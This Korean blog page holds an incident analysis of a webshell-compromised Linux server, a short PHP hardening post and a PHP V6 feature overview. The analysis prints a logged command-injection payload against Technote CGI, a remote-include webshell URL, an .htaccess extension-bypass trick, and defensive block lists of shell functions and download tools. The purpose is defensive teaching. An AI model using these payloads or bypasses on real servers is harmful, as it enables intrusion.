'register_globals'에 해당되는 글 3건

  1. 2012.03.05 웹 해킹 서버 분석과 웹쉘 대응방법 (1)
  2. 2010.12.21 PHP 안전한 환경 (공개용 PHP 솔루션 사용시 주의사항)
  3. 2009.09.17 PHP V6 새로운 기능과 미래
2012.03.05 09:26

웹 해킹 서버 분석과 웹쉘 대응방법

가끔 접속 자 수도 많지도 않은데 로드가 높아서 서버 접속이 원활하지 못하다거나 나의 서버가 스팸서버로 지정 되어서 상대방에게 메일을 보냈는데도 차단되었다거나 혹은 idc 보안 관제 센터에서 당신네 서버가 외부로 ddos공격을 하고 있으니 빨리 조치를 취하지 않으면 네트워크를 차단시키겠다는 경고성 전화를 받았을 때 어떻게 조치를 취해야 하는지 막막할 경우가 있다.

 

이럴 경우 웹 해킹에 의해서 서버가 해커에 의해 조종되고 있지 않는지 살펴 볼 필요성이 있다이번에는 실제 사례를 가지고 웹 해킹 침해 사고 시 대처 방법을 소개해 보고자 한다.

 
해킹된 서버는 redhat9를 사용하고 있으며 커널 버전은 2.4.20-8이다웹서버는 apache + php + mysql 기반으로 돌아가고 있으며 앞으로 모든 설명을 여기에 맞추어서 진행 하려고 한다. (윈도우에 asp는 해당 사항이 아니다.) 


pstree

init-+-bdflush

     |-crond

     |-httpd-+-40*[httpd]

     |       `-2*[httpd---read.cgi]

     |-httpd---httpd

     |-httpd

     |-kapmd

     |-keventd

     |-khubd

     |-10*[kjournald]

     |-2*[klogd]

     |-kscand/DMA

     |-kscand/HighMem

     |-kscand/Normal

     |-ksoftirqd_CPU0

     |-kswapd

     |-kupdated

     |-mdrecoveryd

     |-6*[mingetty]

     |-named

     |-nohup---a---sshd---101*[sshd]

     |-perl

     |-rhnsd

     |-safe_mysqld---mysqld

     |-sshd---sshd---bash---pstree

     |-11*[sshd]

     |-syslogd

     |-vsftpd

     |-us1---us1

     |-us10---us11

     |-us12---us12

     |-us13---us13

     |-us14---us14

     |-us15---us15

     |-us16---us16

     |-us17---us17

     |-us18---us18

     |-us19---us19

     |-us2---us2

     |-us21---us21

     |-us22---us22

     `-xinetd

pstree명령어는 현재 돌아가고 있는 서버의 프로세스를 한눈에 파악할 수 있는 아주 중요한 명령어이다리눅스 사용자는pstree명령어에 익숙해 져야 한다그냥 시간 날 때 마다 pstree치면서 나오는 결과를 눈에 익도록 하는 게 낫다.

 

위에 출력 결과를 한번 분석해 보도록 하자.

|-httpd-+-40*[httpd]

|       `-2*[httpd---read.cgi]

|-httpd---httpd

|-httpd

 

아파치 웹 서버가 돌아가면 위와 같은 프로세스가 보인다허나 진짜 웹 서버는 첫째 줄 뿐이다나머지는 두번째 줄과 세번째 줄은  웹 서버로 위조된 해킹 프로세스이다.

|-nohup---a---sshd---101*[sshd]

이 부분을 보자 외부로 ssh Login Brute force scan 공격을 하고 있다마찬가지로 us로 시작하는 프로세스도 모두 외부로 공격하는 해킹프로세스이다정상적인 서버에서는 절대 볼 수 없는 프로세스들이다이외에도 perl같은 프로세스도 비정상 프로세스이다.

현재 이 서버는 외부로 공격을 수행하는 해킹 프로세스들이 매우 많이 수행되고 있는 중이다.

 

포트 상태를 점검해서 좀더 자세한 상황을 살펴보자.

# netstat -nlp

Active Internet connections (only servers)

Proto Recv-Q Send-Q Local Address              Foreign Address   State                    PID/Program name  

tcp         0      0 0.0.0.0:3306                        0.0.0.0:*               LISTEN                655/                

tcp         0      0 0.0.0.0:80              0.0.0.0:*               LISTEN                26032/httpd        

tcp         0      0 0.0.0.0:2                             0.0.0.0:*               LISTEN                612/vsftpd         

tcp         0      0 192.168.10.1:53                    0.0.0.0:*               LISTEN                575/               

tcp         0      0 127.0.0.1:53                        0.0.0.0:*               LISTEN                575/               

tcp         0      0 0.0.0.0:22              0.0.0.0:*               LISTEN                588/sshd           

tcp         0      0 127.0.0.1:953                       0.0.0.0:*               LISTEN                575/               

udp        0      0 0.0.0.0:32768                       0.0.0.0:*                                          575/               

udp        0      0 0.0.0.0:37028                       0.0.0.0:*                           25089/sshd         

udp        0      0 0.0.0.0:37029                       0.0.0.0:*                           25479/httpd        

udp        0      0 192.168.10.1:53                    0.0.0.0:*                           575/               

udp        0      0 127.0.0.1:53                        0.0.0.0:*                           575/               

Active UNIX domain sockets (only servers)

Proto RefCnt Flags       Type       State         I-Node PID/Program name    Path

unix  2      [ ACC ]     STREAM     LISTENING     1318   655/                /var/lib/mysql/mysql.sock

 

정상적인 웹 서버는 다음과 같이 나타난다. 80포트가 열려져 있는 것을 알 수 있다. 26032는 실행되고 있는 아파치 프로세스의 pid이다.

tcp         0      0 0.0.0.0:80              0.0.0.0:*               LISTEN                26032/httpd

 

udp        0      0 0.0.0.0:37029                       0.0.0.0:*                           25479/httpd        

위의 프로세스를 보자. pid 25479인 이 프로세스는 아파치 웹서버 프로세스로 위장 되어 있지만 실질적으로는 37029번 포트로 서비스 되고 있는 hack 프로세스이다그리고 tcp가 아니 udp를 사용하고 있는 것도 눈에 띈다. sshd 프로세스도 마찬가지이다. 22번 포트를 LISTEN하고 있는 pid 588 프로세스가 정상적인 sshd 프로세스이다. 25089프로세스는sshd로 위장된 비 정상적인 프로세스이다.

3306포트와 53번 포트를 리슨하고 있는 것은 각각 mysqld named프로세스로 정상적인 프로세스들이다.

 

이제는 좀더 깊이 들어가서 이 프로세스들이 어디서 실행되고 있는지 한 번 살펴 보자.

lsof -p 25479

lsof 명령어는 파일과 프로세스의 입출력 상태를 나타내주는 명령어로 pstree netstat 다음으로 사용법을 잘 익혀둘 필요가 있는 매우 유용한 명령어이다. p옵션은 프로세스 id의 입출력 상태를 나타내주는 옵션으로 다음 부분을 살펴볼 필요가 있다.

 

COMMAND   PID   USER   FD   TYPE    DEVICE    SIZE      NODE NAME

httpd       25479      apache   cwd       DIR         0,8     280 321300582 /dev/shm/bq

httpd       25479      apache   txt          REG       0,8  612470 321300590 /dev/shm/bq/httpd

httpd       25479      apache   0u          IPv4        563618039 TCP 192.168.10.1:48562

->irc2.saunalahti.fi:ircd (ESTABLISHED)

httpd   25479 apache    5u   REG       3,7       0        55 /tmp/ZCUDUzGlho (deleted)

httpd   25479 apache    6u  IPv4 321303856               UDP *:37029

 

일단 이 위장 프로세스가 실행되고 있는 위치는  /dev/shm/bq/httpd라는 것을 알 수 있다.

192.168.10.1:48562->irc2.saunalahti.fi:ircd (ESTABLISHED)

이 부분을 주의 깊게 살펴 보자현재 해킹된 서버에서 irc2.saunalahti.fi 서버의 6667(ircd)포트로 접속 되어 있는 것을 알 수 있다즉 이 서버는 현재 좀비 컴퓨터화 되어 있다한마디로 말해서 해커가 원격에서 irc bot을 이용하여 이 서버를 자신이 원하는 데로 조종할 수 있다는 말이다이러한 좀비 컴퓨터를 대량으로 확보하면 해커는 보통 분산 서비스 거부 공격(DDOS ATTACK)을 하는데 이용하거나 돈을 받고 팔기도 한다특히 IDC에 상주되어 있는 서버가 해커 손에 넘어가면 최대 100M급의 트래픽 공격을 할 수 있는 든든한 무기를 손에 넣게 된다.

 

USER부분을 살펴보자 apache라고 되어 있다현재 이 서버에서 실행되고 있는 웹서버의 권한이 apache로 웹해킹을 통해서 서버의 apache권한을 획득한 것을 볼 수 있다.

 

다음과 같은 명령으로 이서버의 전체적인 입출력 상태를 체크해 볼 수 있다.

lsof –I –n |grep apache

문제가 되는 apache권한만 살펴 보면 다음과 같은 입출력 상태가 2~300개씩 나타나고 있었다.

 

sshd    23901 apache    8u  IPv4 397205096       TCP 192.168.10.1:56970->217.18.114.168:ssh (ESTABLISHED)

외부에 ssh스캔 공격을 하고 있을 때의 대표적 증상이다만약 다량의 스팸 메일을 보낸다면 외부 ip 25번포트(SMTP포트)로 수많은 연결이 보일 것이다이 외에도 ircd로의 접근도 포착 될 것이다.

lsof 명령어는 서버의 입출력 상태를 점검할 때 매우 유용한 명령어이니 잘 익혀두는 것이 좋다.

 

일단 hack process가 설치된 /dev 디렉터리를 좀더 자세히 점검해 보자.

find /dev –type f

일단 정상적인 경우를 살펴보자

 

/dev/.udev.tdb

/dev/MAKEDEV

centos5같은 경우

/dev/.udev 디렉토리와 그 아래 디렉토리만 파일들만 있어야지 정상이다.

 

find 명령어로 살펴보니 아래와 같은 많은 수많은 hack tool들이 설치 되어 있는 것을 확인 할 수 있었다.

/dev/MAKEDEV

/dev/shm/stopex.pl

/dev/shm/bq/raw.session

/dev/shm/bq/Presedinte.seen

/dev/shm/bq/Silvic.seen

/dev/shm/bq/RamonaT.seen

/dev/shm/bq/httpd

/dev/shm/bq/3

/dev/shm/st/src/dcc.c

/dev/shm/st/src/parse.c

/dev/shm/st/src/main.c

/dev/shm/st/src/gencmd.c

/dev/shm/st/src/Makefile

 

웹쉘 권한을 얻었을 때 이와 같은 툴들이 설치되는 이유는 퍼미션 때문이다.

 

ll –ld /dev/shm

drwxrwxrwt 2 root root 40 Nov  6 13:33 /dev/shm

/dev/shm, /var/tmp, /tmp 폴더등은 1777권한을 가지고 있기 때문에 웹쉘을 통해 권한을 얻었을 경우 쉽게 해킹툴들을 업로드 하고 이를 실행 시키는데 사용되는 디렉터리로 평소 주의를 기울여 관리해야 한다이외에도 디렉터리에 apache nobody유저에 쓰기 권한을 주거나 777같은 퍼미션을 주는 경우는 매우 잘못된 습관이라고 할 수 있다.

 

# cd /dev/shm/st

[root@canacom st]# ll

합계 836

-rwxr-xr-x    1 apache   apache       2156  7 11  2005 Makefile

-rwxr-xr-x    1 apache   apache      20358  1  2  2003 configure

-rwxr-xr-x    1 apache   apache     585643  1  4  2007 sshd

-rwxr-xr-x    1 apache   apache      17495  1  4  2007 stealth

 

보면 apache권한을 가지고 있는 것을 알 수 있다.

lsof 명령어로 보여주는 결과 값이 너무 길어서 의미가 있는 것 만 적었다다음 perl명령어는 원격에서 root로 쉘 권한을 가지고 직접 접속해서 명령을 내린 것으로 해커가 어떤 방법을 써서 아파치 권한에서 root로 권한이 상승 된 것을 확인 할 수 있다.

 

lsof -p 6411

COMMAND  PID USER   FD   TYPE    DEVICE     SIZE   NODE NAME

perl    6411 root  cwd    DIR       3,7     4096  87745 /tmp/.tmp

perl    6411 root  rtd    DIR      22,9     4096      2 /

perl    6411 root  txt    REG       3,5    12572  33642 /usr/bin/perl

perl    6411 root    0u   CHR     136,1               3 /dev/pts/1

perl    6411 root    1u   CHR     136,1               3 /dev/pts/1

perl    6411 root    2u   CHR     136,1               3 /dev/pts/1

perl    6411 root    3r   REG       3,7   116030  87748 /tmp/.tmp/bnc

perl    6411 root    4u  IPv4 398045837             TCP *:24338 (LISTEN)

perl    6411 root    5r   DIR       3,7     4096  43873 /tmp/.tmp/logs

perl    6411 root    6u  IPv4 398046908             TCP 192.168.10.1:24338->189.14.64.131:1327 (ESTABLISHED)

perl    6411 root    7u  IPv4 398046908             TCP 192.168.10.1:24338->189.14.64.131:1327 (ESTABLISHED)

perl    6411 root    8u  IPv4 398049150             TCP 192.168.10.1:35825->own.ipapo.org:ircd (ESTABLISHED)

 

다음 부분을 주목해서 보자.

perl    6411 root    0u   CHR     136,1               3 /dev/pts/1

원격 터미널을 통해서 슈퍼유저 권한으로 로그인한 것으로 추정된다이 상태에서 이미 최상위 권한을 탈취했으므로 이 시스템은 완전히 해커에게 장악 당했다고 볼 수 있다.

 

다음과 같은 명령으로 서버에서 실행되는 백 도어 프로세스에 관한 좀더 자세한 정보를 알 수 있다테크노트 게시판의 취약점을 이용해서 원격에서 쉘 명령어를 실행 시킨 것을 알 수 있다.

 

#ps -auxe --cols=3000

/usr/sbin/sshd shd _CMD=cd /dev/shm/n; nohup ./start 217 >>/dev/null & 2>&1;pwd SERVER_SIGNATURE=<ADDRESS>Apache/1.3.31 Server at test.co.kr

Port 80</ADDRESS>?

HTTP_USER_AGENT=Getter/0.1

SERVER_PORT=80

HTTP_HOST=www.test.co.kr

DOCUMENT_ROOT=/home/test/public_html SCRIPT_FILENAME=/home/test/public_html/technote/main.cgi REQUEST_URI=/technote/main.cgi?down_num=784879&board=any&command=down_load&filename=getfile.txt%3Bsh%20-c%20%22%24HTTP_CMD%22| SCRIPT_NAME=/technote/main.cgi

REMOTE_PORT=55507

PATH=/sbin:/usr/sbin:/bin:/usr/bin:/usr/X11R6/bin

HTTP_TE=deflate;q=0.3

PWD=/dev/shm/n

QUERY_STRING=down_num=784879&board=any&command=down_load&filename=getfile.txt%3Bsh%20-c%20%22%24HTTP_CMD%22|

SERVER_ADDR=192.168.10.1

GATEWAY_INTERFACE=CGI/1.1

SERVER_PROTOCOL=HTTP/1.0

REQUEST_METHOD=GET _=./sshd

 

테크노트 cgi 관한 원격 명령어 실행 취약점은 국정원에서 발표한 보안 취약점 8종의 한가지로 반드시 최신 버전의 테크노트로 업그레이드 하여야 한다.

 

또한 php를 사용할 경우는 반드시 php.ini 파일에

allow_url_fopen = Off

register_globals = Off

로 해놓는 것을 명심하자지금까지 경험한 바로 php경우 대부분 저 두 옵션으로 인하여 문제가 발생했다.

또한 php 개발자분들께 당부하고 싶은 것은 위의 두 옵션을 끄고 코딩을 해야 한다는 것이다그렇지 않을 경우 원한 던 그렇지 않던 잠재적인 보안 위협을 가진 소스를 만들어 내게 된다.

 

지금까지 웹 해킹 침해 사고를 당한 시스템을 간단하게 분석해 보았다. pstree, netstat, lsof, ps 명령어등은 리눅스에서 트러블슈팅을 하는데 정말 요긴하게 사용하는 명령어이므로 사용법을 자세하게 알아둘 필요가 있다일단 해커가 웹 쉘 권한을 얻으면 가능한 모든 디렉터리에 웹 쉘을 업로드 하여 하나의 침입경로가 막히면 다른 경로로 들어오기 때문에 대처하는데 어려움이 따른다.

 

그렇기 때문에 다시 한번 강조하지만 allow_url_fopen = Off, register_globals = Off 잊지 말도록 하자.


일단 웹쉘이 서버에 업로드 되면 그 서버는 해커의 수중에 들어 갔다고 보아야 한다이후 해커는 다양한 방법으로 서버의 정보를 취득하고 해킹툴을 이용해서 권한 상승을 노린다.

 

allow_url_fopen = On인 웹 페이지 취약점을 통해 다음과 같이 쉘권한을 얻을 수 있다. 

  
http://www.test.com/Test.php  ----------------->   http://hack.com/webshell.txt
  

타킷서버의 Test.php에 취약점이 존재하는 경우 hack.com에 존재하는 webshell을 불러들여 쉘 권한을 획득 한 다음 내부 서버의 정보를 모으고 백도어를 설치하고 권한 상승을 노린다대표적으로 구 제로보드에서 많이 발생하고 있다.

웹쉘 실행 화면

 

이제부터 이러한 웹쉘에 대한 대응 방법에 대해 몇 가지 알아 보려고 한다.

 

우선 첫째로 당연한 것이겠지만 자신이 운영하고 있는 웹소스에서 보안 취약점을 제거해야 한다하지만 이것은 실제적으로 침해사고를 당하지 않는 한 탐지하기가 어려운 면이 있다특히 자신이 개발자가 아니고 단순히 운영만 하는 입장이라면 더욱 그렇다하지만 널리 알려진 웹 보안 취약점은 modsecurity 같은 무료 웹 방화벽으로 공격을 사전 차단 할 수 있을 뿐 아니라 차단 기능을 꺼 놓고 로그만 기록하게 해도 나중에 사고를 당했을시 로그 분석을 통해 원인을 찾는데 도움이 되므로 가능한 운영하는게 좋다공개 무료 웹방화벽 운영에 관한 자료는 정보보호진흥원에서 운영하는 다음 사이트에서 많은 도움을 받을 수 있다.

http://www.krcert.or.kr/firewall2/index.jsp

 

두번째는 필요없는 php 함수들은 사용 할 수 없게 하는 것도 하나의 방법이다설정은 php.ini  다음과 같은 방법으로 할 수 있다.

 

대부분이 서버의 정보를 보여주는 설정들이다서비스에 별 필요 없는 기능들이고 서버에 어떠한 영향을 주는 함수들은 아니지만 해커에 의해 악용 될 수 있기 때문에 막아 놓은 것이 나을것이다.

disable_functions = php_uname, ini_set, getenv, get_user, phpversion, ini_get, ini_get_all, phpinfo, system, exec, passthru, escapeshellcmd, pcntl_exec, shell_exec

특히 주의할 점은 system, exec, passthru, escapeshellcmd, pcntl_exec, shell_exec 함수들은 서버상에서 운영체제 명령어를 실행 시키는 명령들이다일단 웹쉘이 업로드 되면 위의 함수들로 서버상에서 작업을 할 수 있으므로 막는게 좋으나 실제 운영되고 있는 홈페이지에서도 사용 할 수 있으므로 잘 알아 보고 필요한 함수는 빼고 설정 하는 것이 좋다.

 

세번째는 파일업로드 기능을 사용하지 않는다면 php.ini 에서 file_uploads 기능을 off 시키거나 파일 업로드를 한다면 업로드 디렉터리에 .htaccess을 사용해 업로드 되는 디렉터리에서는 php를 아예 사용 할 수 없게 하는 것이다.

 

파일을 업로드 시키는 디렉터리에 다음과 같이 .htaccess 파일을 작성하자.

 

<FilesMatch "\.(html|htm|php|pl|cgi|inc|lib)">

Order allow,deny

Deny from all

</FilesMatch>

해당 확장자로 끝나는 파일들은 접속이 금지된다.

 

이 방법은 해커가 웹쉘을 업로드 할 때도 사용 할 수 있다.

만약 php확장자를 가진 소스를 업로드 하지 못하게 했다면 해커는 다음과 같이 하여 확장자를 우회할 수 있다.

다음 내용을 가진 .htaccess파일을 업로드 시킨다.

AddType application/x-httpd-php  .txt

이후 txt 파일은 모두 php로 인식한다해커는 웹쉘의 확장자를 txt파일로 변경하여 서버에 올리면 된다.마찬가지 방법으로 다음과 같은 .htaccess 파일을 올려서 바이러스나 해킹툴을 설치하기도 한다.

ErrorDocument 403 http://www.hacktest.co.kr/hack.txt

ErrorDocument 404 http://www.hacktest.co.kr/hack.txt

 

이는 다음과 같은 명령어로 탐지가 가능하다.

find `locate .htaccess` -exec egrep -l -i ‘txt’ {} \; 2>/dev/null

find `locate .htaccess` -exec egrep -l –I ‘http://’ {} \; 2>/dev/null

 

그 다음으로 할 일은 서버에 업로드 된 웹쉘을 제거하는 일이다한국 정보보호진흥원에서 개발한 웹 쉘 탐지 프로그램 Whistl을 이용하여 서버에 업로드 된 웹쉘을 제거 할 수 있다이 프로그램은 리눅스는 물론 윈도우에서도 동작하고 정확성도 높기 때문에 웹쉘 탐지 및 제거에 매우 추천 할 만한 프로그램이다.

프로그램은 다음 사이트의 공지사항에서 신청서를 작성한 후 신청하면 사용 할 수 있다.

http://www.krcert.or.kr/index.jsp

사용방법은 상당히 직관적이고 쉬운편이다보내온 프로그램의 압축을 풀면 프로그램과 함께 설명서에 사용법이 적혀져 있다다음과 같이 간단히 사용 할 수 있다.

./whistl_kernel_2.6 –c

우선 자기 서버에 맞게 환경 설정을 해준다.

whistl Configuration

        [1] Checking Directory : /home/sungon

        [2] Inspection Center directory : /tmp

        [3] Extension of php     : inc,php,php3,php4,php5,ph

        [4] Extension of jsp     : jsp,js

        [s] save

        [q] quit

1번 메뉴를 누르고 검사할 디렉터리를 지정해 준다. /home 폴더 전체를 지정해 줄 수도 있다.

Choose Menu : 1

Checking Directory :/var/www/html

 

        [1] Checking Directory : /var/www/html

        [2] Inspection Center directory : /tmp

        [3] Extension of php     : inc,php,php3,php4,php5,ph

        [4] Extension of jsp     : jsp,js

        [s] save

        [q] quit

3번 메뉴을 누르고 검사할 파일의 확장자를 지정해 준다. txt확장자를 추가해 주었다.

Choose Menu : 3

Extension of php :inc,php,php3,php4,php5,ph,txt

 

        [1] Checking Directory : /var/www/html

        [2] Inspection Center directory : /tmp

        [3] Extension of php     : inc,php,php3,php4,php5,ph,txt

        [4] Extension of jsp     : jsp,js

        [s] save

        [q] quit

Choose Menu : s

 

        [1] Checking Directory : /var/www/html

        [2] Inspection Center directory : /tmp

        [3] Extension of php     : inc,php,php3,php4,php5,ph,txt

        [4] Extension of jsp     : jsp,js

        [s] save

        [q] quit

Choose Menu : q

 

다음과 같이 검사를 하면

./whistl_kernel_2.6

id : testid

pwd : password

Checking the configration

        [Config] Checking directory : /var/www/html

        [Config] Inspection Center directory : /tmp

 

Checking the update status

        [INFO] Pattern Update Finished

 

Checking /var/www/html directory

        [5 Found] /var/www/html/test2.php

        [18 Found] /var/www/html/test.txt

 

Check Result

        [INFO] 2 Files checked

        [INFO] 2 Suspected WebShell

        [INFO] Time cost : 00:00:10

        [INFO] Finish sending the checking result

웹쉘이 탐지되는 것을 알 수 있다. [5 Found]  [18 Found] 같은 숫자는 해당 파일에서 모두 5개의 웹쉘 패턴이 일치되었다는 것을 말한다. 5이상은 웹쉘이 거의 확실하지만 일치되는 패턴 숫자가 1이나 2이라면 정상적인 파일이 아닌지 확인해 봐야 한다경험상 1이나 2는 거의 정상적인 파일이고 패턴대응 숫자가 5이상이면 웹쉘이 확실하다고 보면 된다.

다만 아쉬운 점은 프로그램이 복수의 확장자를 지원하지 않는다는 사실이다아파치(apache)에서는 복수의 확장자를 지원하기 때문에 webshell.php.test 같은 확장자를 가진 프로그램도 모두 php로 인식한다때문에 확장자를 약간만 변경하면 탐지프로그램을 우회할 수 있다.

이 부분은 추후에 개선이 되야 할 사항 같다.

 

리눅스를 사용하는 경우에는 디렉터리나 파일의 퍼미션에도 신경을 써야 한다. 777 퍼미션이나 파일이나 디렉터리에 apache nobody로 소유권을 설정하는 것은 가능한 피해야 한다.

업로드 디렉터리나 세션이 저장되는 디렉터리에는 어쩔 수 없이 707 퍼미션을 주어야 겠지만 그 외의 디렉터리에는 701 퍼미션을 주고 파일에는 644 퍼미션을 준다. cgi같은 경우에는 755퍼미션을 주지 않으면 실행이 되지 않으므로 주의한다.

 

그외에도 /etc/cron.daily에 스크립트를 하나 만들어 다음과 같이 명령어에 제한을 걸어 슈퍼유저외에는 사용을 못하게 할 수도 있다.

 

#!/bin/sh

chmod 701 /

chmod 701 /home

 

cd /etc

chmod 600 fstab

chmod 600 hosts.*

chmod 600 modprobe.conf

chmod 600 sysctl.conf

chmod 600 redhat-release

 

cd /usr/bin

chmod 700 wget

chmod 700 lynx

chmod 700 curl

chmod 700 lwp-*

chmod GET

 

만약 사용되고 있는 서버가 여러 유저들이 모두 같이 사용하는 서버라서 명령어 제한이 자유롭지 못하다며acl 기능을 사용해서 nobody권한의 유저만 제한을 걸 수 도 있다.

acl 기능은 다음과 같이 하면 사용 할 수 있다.

 

vi /etc/fstab

/dev/sda8               /                       ext3    defaults,acl        1 1

/dev/sda7               /usr                    ext3    defaults,acl        1 2

이렇게 acl을 옵션으로 붙여주고 다시 리마운트 한다.

mount -o remount /

mount -o remount /usr

 

다음과 같이 제한하고자 하는 명령어에 nobody유저만 접근이 안되게 한다.

setfacl -R -m u:nobody:- `which find`

setfacl -R -m u:nobody:- `which ls`

setfacl -R -m u:nobody:- `which chmod`

setfacl -R -m u:nobody:- `which echo`

setfacl -R -m u:nobody:- `which cat`

 

정책이 정확하게 적용이 되었는지 확인한다.

ls –al `which find`

-rwxr-xr-x+ 1 root root 52460 Oct 20  2004 /usr/bin/find

끝에 +가 붙어 있으면 acl기능이 작동을 하는 것이다. acl기능을 제거 하려고 하면 다음과 같이 하면 된다.

setfacl -b /usr/bin/find

이상으로 웹 해킹 서버에 대한 간단한 분석 방법과 서버에서의 웹쉘에 대한 대처 방법에 대해 마치려고 한다웹서버 보안은 하나의 보안 어플리케이션으로 모든 것을 완벽하게 막을 수는 없다가능한 알고 있는 모든 방법을 다 적용하여서 조금씩 보안 허점을 줄여 나가는 수밖에 없다또한 리눅스 같은 경우 반드시 방화벽 정책을 수립하여 운영함으로써 해커가 서버를 악의적으로 운영하거나 외부로 공격을 하지 못하게 해야 한다이에 관해서는 차후에 다루어 보도록 하겠다.



by 블루웹 시스템연구개발팀 양선곤 http://blog.blueweb.co.kr/


Trackback 3 Comment 1
  1. 박병권 2012.03.06 09:23 address edit & del reply

    좋은글 감사합니다.

2010.12.21 19:13

PHP 안전한 환경 (공개용 PHP 솔루션 사용시 주의사항)

최근 심각해 보이는 PHP 문제가 확인되었습니다.

특히, 공개용 PHP 솔루션(예, 제로보드, 그누보드 등)을 사용할 경우 매우 주의가 필요합니다.
꼭 공개용 솔루션만 문제는 아니지만 소스가 오픈되지 않은 경우 일반적으로 위험성이 낮습니다.

많은 취약점들이 공개용 솔루션에서 끝도 없이 발생하며 악성코드 유포의 주범이 되고 있습니다.
문제가 외부에 공개될 경우 홈페이지 변조를 통한 악성코드 감염이 추가 발생할 수 있습니다.

아래 사항은 이미 위험성이 알려진 부분이지만 적용되지 않은 경우 추가 위험성이 존재하여
다시한번 중요한 PHP 옵션에 대해 언급하며, 이를 반영할 경우 피해를 최소화 할 수 있습니다.

1. register_globals=Off

2. session.cookie_httponly=On (php >= 5.2.x)

3. allow_url_include=Off (php >= 5.2.x)

3-1. allow_url_fopen=Off (php < 5.2.x)

간단히 옵션만 변경하면 되지만 현실적이로 불가능한 경우가 많습니다.

과거에 개발되었거나 공개용 솔루션을 이용할 경우이며,
최소한 최근 개발되는 환경은 위 옵션을 유지하기를 권장해 드립니다.

위 옵션만 유지된다면 현재 추가로 발견된 문제에 대해서는
직접적인 영향이 발생되지 않을 것으로 보입니다.

위 옵션을 유지할 수 없는 환경인 경우 특정 대상으로 접근을 제한하거나
그것도 불가능할 경우 해외 특히 중국 아이피를 차단하시기 바랍니다.

그리고 구글에 URL이 노출되는지 확인 후 노출된 URL에 대해서는 특별히 신경을 써야 하고
가능하면 구글에 노출되지 않도록 구글봇을 차단하시는게 좋습니다.

구글에 노출조차 허용하고 싶다면
최소한 공개용 솔루션 URL이라도 노출되지 않도록 robots.txt rule 적용이 필요합니다.

이 모든것 또한 100% 보장은 어렵습니다.


Trackback 0 Comment 0
2009.09.17 18:48

PHP V6 새로운 기능과 미래

PHP V6에서 등장할 새로운 기능과 PHP 스크립트에서 달라질 부분을 살펴보자

Nathan A. Good, 선임 정보 엔지니어, Consultant
옮긴이: 박재호 이해영 dwkorea@kr.ibm.com
2008 년 7 월 29 일

PHP 다음 버전인 V6는 객체 지향 관점에서 사용하기 쉽도록 새로운 기능을 제공하고 문법을 개선합니다. 또한 핵심 함수에서 유니코드를 지원하는 등 다국어 지원과 안정성이 한층 높아졌습니다.

PHP는 이미 인기가 높다. (Netcfaft에 따르면) 수백만 도메인이 PHP를 사용하며, 대다수 ISP가 PHP를 지원하며, 야후!와 같이 대표적인 웹 회사에서도 PHP를 사용한다. 이에 PHP V6는 유용성과 안정성을 더욱 높여주는 새로운 기능을 제공하여 현재 성공에 박차를 가하리라 보인다. 여러분은 PHP V6를 맞이할 준비가 되었는가? 내일 당장 PHP V6로 판올림한다면 지금 스크립트가 그대로 돌아갈까? 아니면 여기저기 손봐야 할까? 이 기사에서는 PHP V6에서 달라진 내용 중에서도 현재 스크립트에 영향을 미치는 부분에 초점을 맞춘다(일부 새 기능은 PHP V5.x로 역이식되었다).

아직 PHP를 사용하지 않고 고려 중이라면 최신 기능을 살펴보기 바란다. 코어 함수 유니코드 지원에서 XML 기능에 이르기까지, 복잡한 프로그램 구현을 수월하게 만들어주는 기능이 많다.

새로운 PHP V6 기능

PHP V6는 현재 개발자 스냅샷으로 사용이 가능하다. 따라서 이 기사에서 언급하는 기능과 변경 사항 대다수를 내려받아 사용할 수 있다. 현재 스냅샷에서 제공하는 기능은 참고자료를 살펴본다.

유니코드 지원 개선

PHP V6는 많은 코어 함수에서 유니코드 문자열을 더 잘 지원한다. 따라서 PHP 응용 프로그램도 다국어 문자 집합을 더 잘 지원하게 되었다. 다국어 지원(i18n) 기능이 더 낫다는 이유로 자바(Java™) 등 다른 언어를 사용했다면 이번 기회에 개선된 PHP V6를 살펴보기 바란다.

PHP V6 개발자 버전은 지금이라도 당장 내려받아 사용할 수 있으므로 유니코드 문자열 지원 기능도 즉시 확인이 가능하다. 유니코드로 테스트하여 검증된 함수 목록은 참고자료를 살펴본다.

유니코드란?
유니코드란 주로 다국어 지원(i18n)과 지역화(l10n)을 목적으로 하는 업계 표준의 문자 집합, 문자 인코딩, 인코딩 방법이다. UTF(Unicode Transformation Format)는 문자를 유니코드로 인코딩하는 방법을 명세한다. 유니코드와 UTF에 대한 자세한 정보는 참고자료를 살펴본다.

이름 공간

이름 공간(namespace)은 메서드 이름과 클래스 이름에 난해한 접두어를 붙이지 않고도 함수 이름과 클래스 이름이 충돌하지 않도록 막아주는 방법이다. 이름 공간을 사용하면 다른 사람이 사용하는 클래스 이름을 사용해도 문제가 발생하지 않는다. Listing 1은 PHP에서 이름 공간을 사용하는 예다.

PHP V6로 판올림해도 현재 PHP 코드를 수정할 필요는 없다. 이름 공간을 정의하지 않았더라도 코드는 문제없이 돌아간다. 이름 공간 기능은 PHP V5.3로 역이식될 예정이므로, 역이식이 끝난 다음부터 여러분의 PHP 프로그램에서 이름 공간을 사용하면 되겠다.

Listing 1. 이름 공간 예
                
<?php
// XMLWriter를 직접 구현해야 하는 이유는 확실하지 않지만, 최소한 PHP에서 
// XMLWriter라는 이름은 충돌을 일으키지 않을 것이다.
namespace NathanAGood;
class XMLWriter 
{
    // 구현부
}

$writer = new NathanAGood::XMLWriter();
?>

웹 2.0 기능

PHP를 사용하는 방식과 현재 PHP 스크립트 모양새에 따라 PHP V6에서 바뀐 언어와 구문 차이점이 현재 코드에 미치는 영향이 달라진다. 특히 다음에 소개하는 새 기능을 사용하면 PHP 프로그램에 웹 2.0 기능을 바로 넣을 수 있다.

SOAP

SOAP은 웹 서비스끼리 “통신”하는 프로토콜 중 하나로, 자바와 마이크로소프트(Microsoft®) .NET 등 꽤 많은 언어에서 지원한다. SOAP 외에도 REST(Representational State Transfer) 등 웹 서비스를 사용하는 방법이 없지는 않으나, SOAP은 상호 운영성을 높이도록 다양한 플랫폼에 걸쳐 웹 서비스를 사용하는 일반적인 방법으로 자리 잡았다. 현재 PEAR(PHP Extension and Application Repository) 라이브러리는 SOAP 모듈을 제공하며 V5에서는 SOAP 확장 기능(SOAP extension to PHP)도 나왔다. 그러나 이 확장 기능은 기본적으로 비활성화되어 있으므로, 사용하려면 직접 활성화하거나 ISP에서 활성화해 주어야 한다. 또한 PEAR 패키지를 사용하면 SOAP 패키지 같은 SOAP 클라이언트와 서버를 작성할 수 있다.

